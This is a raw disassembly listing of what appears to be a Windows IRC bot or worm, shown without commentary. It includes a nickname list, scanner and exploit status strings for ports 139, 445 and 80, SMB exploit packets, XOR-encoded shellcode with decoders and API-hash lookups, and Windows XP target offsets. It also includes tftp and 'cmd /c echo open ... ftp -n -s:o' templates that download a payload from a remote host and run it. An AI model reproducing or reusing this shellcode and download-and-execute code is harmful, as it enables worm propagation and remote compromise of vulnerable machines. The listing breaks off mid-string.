aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD78o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DD74o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD70o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD6Co aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD68o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042DD64o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD60o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD5Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD58o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DD54o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD50o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DD4Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042DD48o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DD44o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD40o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD3Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD38o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DD34o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DD30o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DD2Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DD28o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DD24o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042DD20o aAleks db 'Aleks',0 ; DATA XREF: ___:0042DD1Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042DD18o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DD14o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DD10o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DD0Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DD08o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DD04o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DD00o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCFCo aAdams db 'Adams',0 ; DATA XREF: ___:0042DCF8o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042DCF4o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCF0o align 4 byte_431948 db 50h ; DATA XREF: ___:0040ADF0o ; ___:0040ADFDr db 43h, 2 dup(0) dword_43194C dd 7C7325h ; DATA XREF: ___:0040AE9Bo dword_431950 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA5o dword_431958 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Co ; sub_41AA43:loc_41AB06o dword_43195C dd 334B32h ; DATA XREF: ___:0040AF95o dword_431960 dd 5058h ; DATA XREF: ___:0040AF87o ; sub_41AA43+AAo dword_431964 dd 4B32h ; DATA XREF: ___:0040AF77o ; sub_41AA43+98o dword_431968 dd 454Dh ; DATA XREF: ___:0040AF5Eo ; sub_41AA43+7Eo dword_43196C dd 3839h ; DATA XREF: ___:0040AF4Eo ; sub_41AA43+6Co dword_431970 dd 544Eh ; DATA XREF: ___:0040AF3Eo ; sub_41AA43+5Ao dword_431974 dd 3539h ; DATA XREF: ___:0040AF30o ; sub_41AA43+46o dword_431978 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEB+3Ao off_431980 dd offset byte_5D4D5B ; DATA XREF: sub_40AFEB+2Co ; sub_40AFEB+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o ; sub_418212+5o align 4 jmp short loc_431990 ; --------------------------------------------------------------------------- loc_43198E: ; CODE XREF: ___:loc_431990p jmp short loc_431995 ; --------------------------------------------------------------------------- loc_431990: ; CODE XREF: ___:0043198Cj call loc_43198E loc_431995: ; CODE XREF: ___:loc_43198Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_43199C: ; CODE XREF: ___:004319A1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_43199C add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4319B2: ; CODE XREF: ___:004319B7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4319B2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431A54 jnz short loc_431A40 retn ; --------------------------------------------------------------------------- loc_431A40: ; CODE XREF: ___:00431A3Dj ; ___:00431A4Dj call near ptr loc_431A45+1 loc_431A45: ; CODE XREF: ___:loc_431A40p add [edx+0], ch call sub_431A54 jz loc_431A40 retn ; =============== S U B R O U T I N E ======================================= sub_431A54 proc near ; CODE XREF: ___:00431A38p ; ___:00431A48p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431A54 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C125+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o align 4 dd 5 dup(0) dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r ; sub_401ACD+1DCAo ... off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo ; ___:0040D496w ... dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E207h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Fh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Fh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2DAh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2DAh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2DAh, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 10h db 2 dup(0) byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r ; sub_401ACD+1D24o aAsn445_0 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431D0E ; =============== S U B R O U T I N E ======================================= sub_431CFE proc near ; CODE XREF: sub_431CFE:loc_431D0Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431D06: ; CODE XREF: sub_431CFE+Cj xor byte ptr [edx+ecx], 99h loop loc_431D06 jmp short loc_431D13 ; --------------------------------------------------------------------------- loc_431D0E: ; CODE XREF: ___:00431CFCj call sub_431CFE loc_431D13: ; CODE XREF: sub_431CFE+Ej jo short near ptr dword_431C9C+12h cwde cdq cdq retn sub_431CFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o align 10h dword_431E90 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64B+46o unk_431E9C db 2Dh ; - ; DATA XREF: sub_40B64B+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431EBC db 2Dh ; - ; DATA XREF: sub_40B71A+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431F04 db 2Dh ; - ; DATA XREF: sub_40B786+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo dword_431F40 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o dword_431F50 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DB+14o dd 7473694Ch, 3Ah unk_431F6C db 2Dh ; - ; DATA XREF: ___:0040BA14o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431FA0 db 2Dh ; - ; DATA XREF: ___:0040B922o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431FD0 db 2Dh ; - ; DATA XREF: sub_40BA57+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431FF0 db 2Dh ; - ; DATA XREF: sub_40BA57+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43200C db 2Dh ; - ; DATA XREF: sub_40BACE+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACE+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_432078 db 2Dh ; - ; DATA XREF: sub_40BACE+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4320A8 db 2Dh ; - ; DATA XREF: sub_40BACE+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4320DC db 2Dh ; - ; DATA XREF: sub_40BACE+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_432110 db 2Dh ; - ; DATA XREF: sub_40BACE+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_432144 db 2Dh ; - ; DATA XREF: sub_40C125+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_43216C db 2Dh ; - ; DATA XREF: sub_40C125+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_4321A4 db 2Dh ; - ; DATA XREF: sub_40C125+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C125+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_43221C db 2Dh ; - ; DATA XREF: sub_40C125+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_432250 db 2Dh ; - ; DATA XREF: sub_40C125+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_432284 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59C+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o align 4 dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o dd 800000D4h, 0 unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_43245C db 41h ; DATA XREF: sub_40D07D+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4324A0 proc near ; DATA XREF: ___:0040D35Co push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43259C push dword ptr [esi] push 63D61209h call sub_4325B2 mov [esi+8], eax call sub_432565 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4325B2 mov [esi+0Ch], eax call sub_432517 push dword ptr [esi+4] push 4C0297FAh call sub_4325B2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4324A0 endp ; =============== S U B R O U T I N E ======================================= sub_432517 proc near ; CODE XREF: sub_4324A0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432540 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_432517 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432540 proc near ; CODE XREF: sub_432517+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43254F: ; CODE XREF: sub_432540+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43255C inc ebx jmp short loc_43254F ; --------------------------------------------------------------------------- loc_43255C: ; CODE XREF: sub_432540+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432540 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432565 proc near ; CODE XREF: sub_4324A0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43257D: ; CODE XREF: sub_432565+1Ej cmp [ecx], ebx jz short loc_432585 mov ecx, [ecx] jmp short loc_43257D ; --------------------------------------------------------------------------- loc_432585: ; CODE XREF: sub_432565+1Aj mov edx, edi loc_432587: ; CODE XREF: sub_432565+2Aj cmp [edx+4], ebx jz short loc_432591 mov edx, [edx+4] jmp short loc_432587 ; --------------------------------------------------------------------------- loc_432591: ; CODE XREF: sub_432565+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_432565 endp ; =============== S U B R O U T I N E ======================================= sub_43259C proc near ; CODE XREF: sub_4324A0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43259C endp ; =============== S U B R O U T I N E ======================================= sub_4325B2 proc near ; CODE XREF: sub_4324A0+16p ; sub_4324A0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4325C8: ; CODE XREF: sub_4325B2+33j jecxz short loc_432602 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4325D5: ; CODE XREF: sub_4325B2+2Dj lodsb cmp al, ah jz short loc_4325E1 ror edi, 0Dh add edi, eax jmp short loc_4325D5 ; --------------------------------------------------------------------------- loc_4325E1: ; CODE XREF: sub_4325B2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4325C8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_432602: ; CODE XREF: sub_4325B2:loc_4325C8j ; sub_4325B2:loc_432602j jmp short loc_432602 sub_4325B2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_432608 proc near ; DATA XREF: ___:0040D30Ao arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_43265A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_432625: ; CODE XREF: sub_432608+38j jecxz short loc_432655 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432630: ; CODE XREF: sub_432608+32j lodsb test al, al jz short loc_43263C ror edx, 0Dh add edx, eax jmp short loc_432630 ; --------------------------------------------------------------------------- loc_43263C: ; CODE XREF: sub_432608+2Bj cmp edx, [esp+arg_0] jnz short loc_432625 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_432655: ; CODE XREF: sub_432608:loc_432625j mov [esp+arg_0], ebx retn sub_432608 endp ; =============== S U B R O U T I N E ======================================= sub_43265A proc near ; CODE XREF: sub_432608+7p ; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_432673 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_43267E ; --------------------------------------------------------------------------- loc_432673: ; CODE XREF: sub_43265A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_43267E: ; CODE XREF: sub_43265A+14j pop edi xor esi, esi pusha push esi jmp short loc_432692 sub_43265A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432685 proc near ; CODE XREF: sub_43265A:loc_432692p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_432685 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43265A loc_432692: ; CODE XREF: sub_43265A+29j call sub_432685 loc_432697: ; DATA XREF: sub_40CADB+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_43265A ; --------------------------------------------------------------------------- dw 0 dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o align 4 loc_4326BC: ; DATA XREF: sub_40CADB+E8o jmp short near ptr dword_4326C4 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4326C4 dd 0 ; CODE XREF: ___:loc_4326BCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D331o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co ; --------------------------------------------------------------------------- loc_43273C: ; CODE XREF: ___:00432746j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43273C inc edi jz short loc_432783 and eax, 952CE753h inc esp jle short loc_4327AB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432783: ; CODE XREF: ___:00432749j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4327E2+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4327A8: ; CODE XREF: ___:004327D5j xor [esi-25h], bl loc_4327AB: ; CODE XREF: ___:00432751j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4327C4: ; CODE XREF: ___:004327F7j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4327A8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4327E2: ; CODE XREF: ___:00432789j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_43286E jo short loc_4327C4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432805+1 add bl, [edi] loc_432805: ; CODE XREF: ___:00432801j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43281A+2 cmp ch, bh dec edx loc_43281A: ; CODE XREF: ___:00432815j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_43286E: ; CODE XREF: ___:004327F5j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4328F4 sub al, 0BCh jmp near ptr 54452C62h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: ___:0040DC33o dword_43289C dd 42Ah ; DATA XREF: ___:0040DBE6r dword_4328A0 dd 3E8h ; DATA XREF: ___:0040DC57r dword_4328A4 dd 258h ; DATA XREF: ___:0040DC29r byte_4328A8 db 1 ; DATA XREF: ___:0040DB92r ; ___:0040DC60r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r ___:0040DC7Eo ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4328F4: ; CODE XREF: ___:00432878j push eax xor al, 29h loc_4328F7: ; DATA XREF: ___:0040DBBAo add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAEAo dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Eo aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii 